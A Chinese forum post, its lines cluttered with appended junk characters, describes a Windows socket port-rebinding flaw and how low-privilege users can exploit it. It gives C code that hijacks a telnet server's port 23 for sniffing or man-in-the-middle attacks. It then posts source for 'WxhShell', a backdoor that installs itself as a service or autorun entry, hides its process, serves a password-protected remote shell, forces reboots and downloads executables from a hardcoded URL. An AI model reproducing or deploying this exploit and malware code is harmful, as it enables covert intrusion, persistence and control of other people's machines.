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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >vPv 4e7&3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iSP}kM}  
8wEUly  
  saddr.sin_family = AF_INET; A8X3|<n=  
\\ZCi`O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]N;\AXZ7  
gyz_$T@x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I7 = 4%)A  
Tlm::S   
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Fks #Y1rI  
JP,yRb\  
  这意味着什么?意味着可以进行如下的攻击: }?)U`zF)7}  
p]eVby"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @|PUet_pb  
T -p~8=I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JHXtKgFX  
Y|!m  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 "wR1=&gk  
8l l}"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q o6~)Aws  
&_$0lI DQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Qv W vS9]  
8-"D.b4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]~:WGo=_  
KvH t`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _iF*BnmN  
.% 79(r^  
  #include TE9Iyl|=  
  #include b_vKP  
  #include xj[v$HP  
  #include    Y SB~04  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7n)ob![\d  
  int main() /!'Png0!  
  { w m|WER*.  
  WORD wVersionRequested; T'ei>]y]  
  DWORD ret; TD sjNFe3  
  WSADATA wsaData; IhHKRb[  
  BOOL val; RT. %\)))  
  SOCKADDR_IN saddr; Alk+MwjR  
  SOCKADDR_IN scaddr; @u @,Edh  
  int err; u]*f^/6Q  
  SOCKET s; E?0Vo%Vh  
  SOCKET sc; O2:1aG  
  int caddsize; %i) 0sE T  
  HANDLE mt; tIT/HG_o  
  DWORD tid;   d=0{vsrB  
  wVersionRequested = MAKEWORD( 2, 2 ); 8'ut[  
  err = WSAStartup( wVersionRequested, &wsaData ); N*f ]NCSi  
  if ( err != 0 ) { w\RYxu?  
  printf("error!WSAStartup failed!\n"); P=aYwmC  
  return -1; 25j?0P"&  
  } d%K&  
  saddr.sin_family = AF_INET; V-(*{/^"  
   D}`MY\H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e>m+@4*sn  
t$3B#=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); wBJ|%mc3TA  
  saddr.sin_port = htons(23); QM'|k6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \fsNI T/  
  { kX2Z@ w`  
  printf("error!socket failed!\n"); yAFt|<  
  return -1; ;\(LovUy6  
  } *nK4XgD  
  val = TRUE; lA` qB1x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d`,z4 _  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,A5}HRW%  
  { i#aKW'  
  printf("error!setsockopt failed!\n"); o)GesgxFa5  
  return -1; x];i? 4  
  } 6:q,JB@i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5@J]#bp0M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~3Za"q*0s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HB,?}S#TP  
TBIr^n>Z<k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) VU1Wr|  
  { >`l^ C  
  ret=GetLastError(); ;H3~r^>c  
  printf("error!bind failed!\n"); UIkO_/}  
  return -1; * a^wYWa  
  } <iBn-EG l>  
  listen(s,2); `oTV)J'~  
  while(1) @?jbah#  
  { ;Y,zlq2  
  caddsize = sizeof(scaddr); IML.6<,(Z  
  //接受连接请求 CkRilS<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); S5:&_&R8[  
  if(sc!=INVALID_SOCKET) 8>9MeDE  
  { I/%L,XyRI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 29l bOi  
  if(mt==NULL) eE_$ADEf  
  { ->*~e~T  
  printf("Thread Creat Failed!\n"); ]T{v~]7:{  
  break; &7,:: $cu  
  } [Op^l%BC  
  } ILx4 [m7  
  CloseHandle(mt); K^h9\< w  
  } [&IcIZ  
  closesocket(s); (+6N)9rj`/  
  WSACleanup(); #Cx#U"~G`  
  return 0; @} +k]c25  
  }   ?,] eN&`  
  DWORD WINAPI ClientThread(LPVOID lpParam) CED[\ n  
  { 3kT?Y7<fv  
  SOCKET ss = (SOCKET)lpParam; >X*G6p  
  SOCKET sc; 505ejO|  
  unsigned char buf[4096]; `t\\O  
  SOCKADDR_IN saddr; AiL80W^=d)  
  long num; iJeo d fC  
  DWORD val; s)?GscPG!  
  DWORD ret; BnfuI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Nobu= Z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cNikLd~?A  
  saddr.sin_family = AF_INET; RUq[HxF) 6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); >4q6  
  saddr.sin_port = htons(23); `EfFyhG$  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u9(42jj[$U  
  { $=X>5B  
  printf("error!socket failed!\n"); 0>46ZzxUZ  
  return -1; `e`DSl D>  
  } bPif"dhHe  
  val = 100; ?D,j!Hy  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) aI=Q_}8-  
  { Nc HU)  
  ret = GetLastError(); YNl".c  
  return -1; K-"`A.:S  
  } S&.xgBR  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K}M lC}oIt  
  { XH(-anU"!P  
  ret = GetLastError(); Y DW^N] G  
  return -1; )#GF:.B  
  } x3( ->?)D  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <$pv;]n  
  { .S1MxZhbP  
  printf("error!socket connect failed!\n"); ji\&?%(B  
  closesocket(sc); Jamt@=  
  closesocket(ss); ,6#%+u}f  
  return -1; WJ)4rQ$o  
  } ]NtBP  
  while(1) 'r(g5H1}gi  
  { c<lEFk!g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _mk@1ft  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vC^{,?@  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 }#; .b'`  
  num = recv(ss,buf,4096,0); K<r5jb  
  if(num>0) !Eb|AHa  
  send(sc,buf,num,0); wv\V&U$  
  else if(num==0) $iMLT8U  
  break; ;;m;f^]}  
  num = recv(sc,buf,4096,0); D SWmQQ  
  if(num>0) G;J)[y  
  send(ss,buf,num,0); rC]k'p2x  
  else if(num==0) QhLgFu  
  break; 19-V;F@;  
  } m>F:dI  
  closesocket(ss); C@[U:\  
  closesocket(sc); *z#du*f[  
  return 0 ; ZR-64G=L,  
  } UCkV ;//.  
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KK5_;<  
========================================================== -"{g kjuv  
,%BDBZ  
下边附上一个代码,,WXhSHELL ]T&d_~l   
R/Z7}QW  
========================================================== -j2y#aP  
=9`UcTSi6p  
#include "stdafx.h" (2QfH$HEk  
>qOj^WO~  
#include <stdio.h> w(z=xO  
#include <string.h> (+cZP&o  
#include <windows.h> NZ0?0*  
#include <winsock2.h> _<DOA:'v  
#include <winsvc.h> 6`G8UDK>F  
#include <urlmon.h> XN>bv|*q  
BjsTHS&  
#pragma comment (lib, "Ws2_32.lib") fL d2{jI,  
#pragma comment (lib, "urlmon.lib") &cJ?mSI  
LXsZk|IhM  
#define MAX_USER   100 // 最大客户端连接数 AaoS & q  
#define BUF_SOCK   200 // sock buffer NQ;$V:s)  
#define KEY_BUFF   255 // 输入 buffer )''V}Zn.X  
EaHJl  
#define REBOOT     0   // 重启 KZ%us6  
#define SHUTDOWN   1   // 关机 ( ;^>G[  
GQJ4d-w  
#define DEF_PORT   5000 // 监听端口 hQ!59  
j_~mP>el)  
#define REG_LEN     16   // 注册表键长度 L, #|W  
#define SVC_LEN     80   // NT服务名长度 '*&dP"  
{ o5^nd  
// 从dll定义API I}5e{jBB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ](8F]J ,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1|!)*!hu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :vx<m_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T9!NuKfur  
om9'A=ZU  
// wxhshell配置信息 e=s85!  
struct WSCFG { &zJ\D`\,O  
  int ws_port;         // 监听端口 S-ZN}N{,6  
  char ws_passstr[REG_LEN]; // 口令 w)RedJnf  
  int ws_autoins;       // 安装标记, 1=yes 0=no md? cvGDE  
  char ws_regname[REG_LEN]; // 注册表键名 5XzsqeG|  
  char ws_svcname[REG_LEN]; // 服务名 A+frKoi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ZZHzC+O#^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Iz'Et'w8!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sKsMF:|OT  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @iXBy:@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a j$& 9][  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8O(L;&h  
tLN^k;w  
}; q86}'dFw{  
z$}9f*W}B  
// default Wxhshell configuration zK1]o-wSAT  
struct WSCFG wscfg={DEF_PORT, I1l^0@J   
    "xuhuanlingzhe", H?M:<q0|G  
    1, HwZl"!;Mry  
    "Wxhshell", HC1<zW[  
    "Wxhshell", nCp_RJu  
            "WxhShell Service", e57R6g)4  
    "Wrsky Windows CmdShell Service", <|?)^;R5!  
    "Please Input Your Password: ", ]W4{|%@H"  
  1, `Mbs6AJ  
  "http://www.wrsky.com/wxhshell.exe", sQ^t8Y 9  
  "Wxhshell.exe" V=th-o3[  
    }; FE^/us7r  
GG<0k\RN  
// 消息定义模块 U{bv|vF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Njr;Wa.r+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <?}pCX/O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kaiK1/W0;  
char *msg_ws_ext="\n\rExit."; njZ vi}m~  
char *msg_ws_end="\n\rQuit."; TU2oQ1  
char *msg_ws_boot="\n\rReboot..."; _KkaseR  
char *msg_ws_poff="\n\rShutdown..."; z07&P;W!{  
char *msg_ws_down="\n\rSave to "; =3A4.nW  
c2,g %(  
char *msg_ws_err="\n\rErr!"; E8"&gblg  
char *msg_ws_ok="\n\rOK!"; n}e%c B  
Im!b-1  
char ExeFile[MAX_PATH]; @>.aQE  
int nUser = 0; !L q'o ?  
HANDLE handles[MAX_USER]; JhwHsx/  
int OsIsNt; V_D wHq2  
DTM(SN8R+n  
SERVICE_STATUS       serviceStatus; $d])>4eQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a#%*H  
ts@Z5Yw*!  
// 函数声明 &!O?h/&X3  
int Install(void); ZWGX*F#}P  
int Uninstall(void); (VI(Nv:o@  
int DownloadFile(char *sURL, SOCKET wsh); Jr;w>8B),  
int Boot(int flag); wbcip8<t  
void HideProc(void); n'{jc 6&|  
int GetOsVer(void); x=L"qC9f/  
int Wxhshell(SOCKET wsl); /wJ4hHY  
void TalkWithClient(void *cs); '0 )`.  
int CmdShell(SOCKET sock); 3)LS#=  
int StartFromService(void); a9.255  
int StartWxhshell(LPSTR lpCmdLine); [g<gu~  
;<' 'oY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rP2h9Cb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y3FFi M[s~  
T}1"  
// 数据结构和表定义 \v\ONp"  
SERVICE_TABLE_ENTRY DispatchTable[] = );TB(PQsBT  
{ dY0W=,X$7T  
{wscfg.ws_svcname, NTServiceMain}, ;-Os~81o?  
{NULL, NULL} );}M"W8  
}; y= f.;  
a73VDQr I  
// 自我安装 @lWNSf  
int Install(void) $IX(a4'  
{ ub9[!}r't  
  char svExeFile[MAX_PATH]; "DGap*=J  
  HKEY key; 4|I;z  
  strcpy(svExeFile,ExeFile); Ja4M@z  
&v1E)/q{Z  
// 如果是win9x系统,修改注册表设为自启动 }qoId3iY!7  
if(!OsIsNt) { r(Z?Fs/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gf9sexn]l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 59SL mj  
  RegCloseKey(key); B hx.q,X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { mLkp*?sfC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'jE/Tre^  
  RegCloseKey(key); (jhi<eV  
  return 0; fQU_:[ Uz  
    } y( 22m+B  
  } ]+a~/  
} 9W\"A$;+&  
else { ~xc/Dsb$  
C@t,oDU#  
// 如果是NT以上系统,安装为系统服务 cr ]b #z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,xrA2  
if (schSCManager!=0) cT@| $A  
{ >eo[)Y  
  SC_HANDLE schService = CreateService ||TZ[l  
  ( ):Z #!O<  
  schSCManager, oMLs22Do?  
  wscfg.ws_svcname, p^q/u  
  wscfg.ws_svcdisp, +cYDz#3%  
  SERVICE_ALL_ACCESS, V4}jv7>A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2ib,33 Z  
  SERVICE_AUTO_START, &s}sA+w  
  SERVICE_ERROR_NORMAL, WHOy\j},V  
  svExeFile, 8jL^q;R_(  
  NULL, P*K"0[\n  
  NULL, A Y<L8  
  NULL, *,:2O&P  
  NULL, RFFbS{U*  
  NULL 5[B)U">]  
  ); b&4JHyleF  
  if (schService!=0) OvwoU=u  
  { )CE]s)6+2  
  CloseServiceHandle(schService);  !O`j  
  CloseServiceHandle(schSCManager); p< 0=. ~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -EFdP]XO  
  strcat(svExeFile,wscfg.ws_svcname); #6YpV)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Hf1b&8&:K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f_LXp$n  
  RegCloseKey(key); :BV$3]y  
  return 0; nVgvn2N/  
    } ZnAQO3%y  
  } d/Wp>A@dob  
  CloseServiceHandle(schSCManager); W-|C K&1  
} <P0 P*>M  
} eg?p)|  
fr04nl  
return 1; ;vPFRiFK  
} [4YRyx&:++  
No[9m_  
// 自我卸载 _7';1 D  
int Uninstall(void) \h s7>5O^K  
{ -}sMOy`  
  HKEY key; XY9%aT*  
$0P16ZlPC  
if(!OsIsNt) { eY?OUS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZBx,'ph}4  
  RegDeleteValue(key,wscfg.ws_regname); F 2zUz[  
  RegCloseKey(key); X6$Cd]MN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HOH5_E>d  
  RegDeleteValue(key,wscfg.ws_regname); }aa]1X(u  
  RegCloseKey(key); KQ6][2-  
  return 0; et/l7+/'  
  } A['(@Bz#7~  
} TC'SDDX  
} cL.>e=x$  
else { v^Fu/Y  
_dAn/rj   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L8'4d'N+ >  
if (schSCManager!=0) "%dENK  
{ qRcg|']R  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =MM+(mD  
  if (schService!=0) ~Eik&5 z  
  { 5eF tcK  
  if(DeleteService(schService)!=0) { sh`3${  
  CloseServiceHandle(schService); |Thm5,ao  
  CloseServiceHandle(schSCManager); . uGne  
  return 0; ,\3Cq2h  
  } Z[Iej:o5  
  CloseServiceHandle(schService); HfP<hQmN'  
  } l?m 3 *  
  CloseServiceHandle(schSCManager); <_*5BO  
} 5&L*'kV@  
} 'x? |tKzd  
8dt=@pwx&  
return 1; PGxv4(%  
} y0O e)oP  
%G6x\[,  
// 从指定url下载文件 l& sEdEA  
int DownloadFile(char *sURL, SOCKET wsh) wouk~>Jft  
{ n!X%i+|4x  
  HRESULT hr; HpUJ_pZ  
char seps[]= "/"; o.|36#Fa  
char *token; o>d0R w4h  
char *file; ?/hS1yD;  
char myURL[MAX_PATH]; x#5[i;-c  
char myFILE[MAX_PATH]; S{]3e-?  
Lr\(7r  
strcpy(myURL,sURL);  vmfFR  
  token=strtok(myURL,seps); [4B (rra  
  while(token!=NULL) vfhoN]v  
  { $/JXI?K  
    file=token; |t3}>+"?z  
  token=strtok(NULL,seps); g}hNsU=$5~  
  } +gBD E :  
mKV31wvK}  
GetCurrentDirectory(MAX_PATH,myFILE); pK_zq  
strcat(myFILE, "\\"); rij%l+%@#  
strcat(myFILE, file); ~mah.8G  
  send(wsh,myFILE,strlen(myFILE),0); 'aD"v>  
send(wsh,"...",3,0); <j#IR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CV{ZoY  
  if(hr==S_OK) QJR},nZ3  
return 0; O)&ME  
else uP8 cW([  
return 1; k`[>B k%b  
P$AHw;n[R  
} }waZGJLN  
<.BY=z=H  
// 系统电源模块 =*+f2  
int Boot(int flag) Iw#[K  
{ <bhJ>  
  HANDLE hToken; >nK (  
  TOKEN_PRIVILEGES tkp; &n83>Q  
RCK*?\m5  
  if(OsIsNt) { Y}yh6r;i  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3w[uc~f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zI(uexxPqd  
    tkp.PrivilegeCount = 1; Ly v"2P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @RoU   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mN R}%s  
if(flag==REBOOT) { g}9heR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [6.<#_~{  
  return 0; km lb,P  
} a #p`l>rx  
else { X ) =-a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aGE} EK}  
  return 0; KiC,O7&<  
} YLSDJ$K6  
  } /9P7;1?  
  else { _wW"Tn]  
if(flag==REBOOT) { $mf6!p4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ci 22fw0  
  return 0; m<cv3dbZo  
} fG.6S"|M  
else { +>a(9r|:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) es+ZPX>Y  
  return 0; L!ms{0rJ  
} * "?,.  
} | ObA=[j  
8zJye6f;l  
return 1; MfFmJ7>Bg  
} gMZrtK`<  
>k/ rJ[Sc  
// win9x进程隐藏模块 = 4'r+2[  
void HideProc(void) z!k  
{ 7vGAuTfi/@  
Yc5) ^v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); EF 8rh  
  if ( hKernel != NULL ) DC$> 5FDv  
  { U}<zn+SI#V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "zFTPL"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); />PH{ l  
    FreeLibrary(hKernel); 8N#.@\'kz.  
  } >7W8_6sC<  
Gh%dVP9B@P  
return; 8<E U|/O  
} f=4q]y#& X  
6"+bCx0:  
// 获取操作系统版本 Zjc 0R   
int GetOsVer(void) !|"LAr9u  
{ YQO9$g0% ~  
  OSVERSIONINFO winfo; \[B#dw#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); HXqG;Fds(  
  GetVersionEx(&winfo); ?i~mt'O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7~D5Gy  
  return 1; x:]_z.5  
  else H3ob 8+J  
  return 0; j(_6.zf  
} 8}Maj  
( M3-S5   
// 客户端句柄模块 5* ~E dT  
int Wxhshell(SOCKET wsl) 0{Zwg0&  
{ = o1&.v2j  
  SOCKET wsh; !JjNm*F[  
  struct sockaddr_in client; h>|IA@;|f  
  DWORD myID; P>*`<$FR  
`DP4u\6_  
  while(nUser<MAX_USER) dW|S\S'&  
{ 5 ^tetDz}  
  int nSize=sizeof(client); H|;BT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3J^'x  
  if(wsh==INVALID_SOCKET) return 1; jrYA5>=>#  
0IbR>zFg.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oi^pU  
if(handles[nUser]==0) 6bbzgULl  
  closesocket(wsh); [Ue"#w  
else :&O6Y-/B  
  nUser++; @Y&(1Wl  
  } wF['oUwHH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $\nAGmp@  
$n<X'7@0  
  return 0; z'Fu} ho  
} `ItPTSOi  
Z&J.8A]L  
// 关闭 socket =l}XKl->  
void CloseIt(SOCKET wsh) ~NwX,-ri  
{ )TkXdA?.  
closesocket(wsh); 82=>I*0Q  
nUser--; <\\,L@  
ExitThread(0); .W0;Vhw"  
} *U|2u+| F  
<%LN3T  
// 客户端请求句柄 I h 19&D  
void TalkWithClient(void *cs) "nn>I}jK  
{ hr GfA  
fq[,9lK  
  SOCKET wsh=(SOCKET)cs; 9m2Yrj93  
  char pwd[SVC_LEN]; )^Md ^\?  
  char cmd[KEY_BUFF]; /2]=.bLwz  
char chr[1]; :x_;-  
int i,j; 4VlQN$  
PZCOJK  
  while (nUser < MAX_USER) { T_4y;mf!@O  
2?9gf,U  
if(wscfg.ws_passstr) { Y:K1v:Knw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f}zv@6#&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Je9]XT  
  //ZeroMemory(pwd,KEY_BUFF); Cn8w}) B  
      i=0; (>gHfC>(lq  
  while(i<SVC_LEN) { dWDf(SS  
 DE14dU  
  // 设置超时 +"SYG  
  fd_set FdRead; rY(h }z  
  struct timeval TimeOut; J [ 4IO  
  FD_ZERO(&FdRead); f\M;m9{(  
  FD_SET(wsh,&FdRead); soB5sFt&]  
  TimeOut.tv_sec=8; 9uA2M!~i2  
  TimeOut.tv_usec=0; Zd[6-/-:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )?,X\/5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /Es&~Fn  
PQ`~qM:3st  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N:7;c}~  
  pwd=chr[0]; mM;p 7 sJ  
  if(chr[0]==0xd || chr[0]==0xa) { B)(ZRH  
  pwd=0; m<e-XT  
  break; ^-pHhh|g  
  } "_36WX  
  i++; Uz; pNWMk  
    } 5R"(4a P  
kX:d?*{KB  
  // 如果是非法用户,关闭 socket ugMf pT)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G' a{;3  
} tGh!5EZ6`  
HCVMqG!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); BJI"DrF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lG!We'?  
`F TA{ba  
while(1) { q.g0Oz@ z  
aYPD4yX"/  
  ZeroMemory(cmd,KEY_BUFF); #MI4 `FZ  
IAa}F!6Q1  
      // 自动支持客户端 telnet标准   !S}4b   
  j=0; J+20]jI  
  while(j<KEY_BUFF) { #[aHKq:?b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I^yInrRh5  
  cmd[j]=chr[0]; uf&Ke k,  
  if(chr[0]==0xa || chr[0]==0xd) { K trR+ :  
  cmd[j]=0; 0 P-eC|0  
  break;  C%\.  
  } p$OkWSi~  
  j++; f<aJiVP  
    } h oL"K  
j @+QwZL|  
  // 下载文件 *wVWyC  
  if(strstr(cmd,"http://")) { f6-OR]R5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,Z6\%:/  
  if(DownloadFile(cmd,wsh)) @{y[2M} %]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ley: =(  
  else auV<=1<zJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j6{9XIR o_  
  } :")iS?l  
  else { 4! V--F  
u!WjG@  
    switch(cmd[0]) { Yr9!</;T  
  {E+o+2L  
  // 帮助 idh5neyL  
  case '?': { } :8{z`4H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wnoL<p  
    break; V:vYS  
  } UL   
  // 安装 :#=XT9  
  case 'i': { h1`u-tc2x  
    if(Install()) iw ==q:$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); op]HF4  
    else 7`IoQvX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %uWq)D4r  
    break; !uJD hC  
    } Q(J6;s#b  
  // 卸载 8KU5x#  
  case 'r': { b _#r_`  
    if(Uninstall())  !xz0zT.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]NrA2i?  
    else u= u#6%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^dF?MQA<@  
    break; eURj'8o),  
    } :_y}8am;H~  
  // 显示 wxhshell 所在路径 bW9a_myE  
  case 'p': { ySk'#\d  
    char svExeFile[MAX_PATH]; xmI!N0eta  
    strcpy(svExeFile,"\n\r"); p%+uv\Ix  
      strcat(svExeFile,ExeFile); `swf~  
        send(wsh,svExeFile,strlen(svExeFile),0); =6N%;2`84  
    break; N4JJA+  
    } {BA1C (  
  // 重启 K4\#b}P!  
  case 'b': { k;bdzcMkQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?i8a)!U  
    if(Boot(REBOOT)) qfQg?Mr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1:+f@#  
    else { R!8qkG  
    closesocket(wsh); / .ddx<  
    ExitThread(0); !C$bOhc  
    } ,xeJf6es  
    break; ;$Q&2}L[  
    } DiLZ5^`]  
  // 关机 [aF^D;o  
  case 'd': { .7|kxJq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #o]/&T=N=  
    if(Boot(SHUTDOWN)) X  !vBD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^+m6lsuA  
    else { 1>BY:xZr  
